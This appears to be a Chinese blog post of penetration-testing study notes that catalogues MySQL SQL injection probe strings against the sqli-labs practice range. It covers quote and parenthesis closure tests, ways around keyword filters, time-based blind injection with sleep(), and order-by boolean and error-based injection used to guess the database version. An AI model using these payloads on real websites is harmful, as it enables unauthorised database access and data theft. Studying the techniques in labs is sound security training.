首頁歷史 > 正文

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

2021-12-29由 Web安全陪跑團 發表于 歷史

文章來自賽克艾威安全社群 id:ff1209125020,感謝ff1209125020學員的用心總結,主要針對目前主流的mysql資料庫SQL注入檢測語句及原理進行總結,攻擊靶場環境使用sqli,特點:語言精煉,思路清晰,希望大家有所收穫,如有疑問歡迎留言

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

一、判斷變數處理和單引號括號有沒有關係:

1、加 “ ‘ ”: http://x。x。x。x/sqli/less-1/?id=1’ ,返回正常就判斷是否和雙引號有關係

輸出異常:最後在加上 “——+” :http://x。x。x。x/sqli/less-1/?id=1‘ ——+,輸出正常,引數處理為 id=’$id‘,還輸出異常則可能“-”被過濾,嘗試 id=1’ and ‘1’=‘1 和 id=1’ and ‘1’=‘2

2、嘗試:id=1’)

輸出異常:最後在加上 “——+”:http://x。x。x。x/sqli/less-1/?id=1‘) ——+,輸出正常,引數處理為 id=(’$id‘),還輸出異常則可能“-”被過濾,嘗試 id=1’) and (‘1’)=(‘1 和 id=1’) and (‘1’)=(‘2

3、嘗試:id=1’))

輸出異常:最後在加上 “——+”:http://x。x。x。x/sqli/less-1/?id=1‘)) ——+,輸出正常,引數處理為 id=((’$id‘)),還輸出異常則可能“-”被過濾,嘗試 id=1’)) and ((‘1’)=((‘1 和 id=1’)) and ((‘1’))=((‘2

二、判斷變數處理和雙引號有沒有關係,和以上步驟一樣。

“-”過濾,不用註釋符號,使用and閉合

“and”“or”過濾,使用大小寫混寫(ANd),或者在and單詞之間再寫一個and(anandd)。還有使用“&&”和“||”分別代替“and”和“or”

三、嘗試:id=1-1 或者 1%2b1 //%2b 是加號的URL編碼,因為加號在URL中有特殊意義,表示空格,所以這裡需要用這種轉碼方式來用加號

返回兩個數計算過後查詢的結果,可能為

整型:id=$id

id=($id)

id=(($id))

如果返回原來的頁面,則是經過單引號或者雙引號處理或者第一個數字後面的字元被過濾,嘗試其他方法

四、判斷時間盲注

比如一個URL:http://x。x。x。x/sqli/less-10/?id=1

輸入什麼值都顯示的頁面一致

id=1 and sleep(4) ——+ 或者 id=1) and sleep(4) ——+ //延時開啟網頁,變數處理為:id=$id

id=1’ and sleep(4) ——+ 或者 id=1“ and sleep(4) ——+ //延時開啟網頁,字串處理為:id=‘$id’ 或者 id=”$id“

id=1‘) and sleep(4) ——+ 或者 id=1’)) and sleep(4) ——+ //延時開啟網頁,字串處理為:id=(‘$id’) 或者 id=(”$id“),

五、判斷order by sort 注入

1、修改數字,排序發生變化,為:sort=$sort 或者sort=($sort),sort不會是字元型別的,因為order by [所有字元] ,排序都是一樣的

2、 利用bool注入判斷有沒有order by 注入。sort=rand(0) 和 sort=rand(1) 排序是不一樣的。嘗試:sort=rand(()) //必須是雙括號。例:sort=rand(((left((select version()),1)=5))) //裡面的left()函式返回值和5作比較計算出邏輯值0或1

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

上面這兩個排序是一樣的,我的版本號第一位是5,再看看第一位等於5時怎麼排序

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

這樣就可以然後逐位猜解了。

3、利用報錯注入order by

如果構造引數值能造成頁面顯示出錯誤,可以使用報錯注入

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

就像id引數那樣注入,後面跟and 然後報錯函式

網路駭客滲透測試技術之SQL注入檢測語句結晶「乾貨分享」

頂部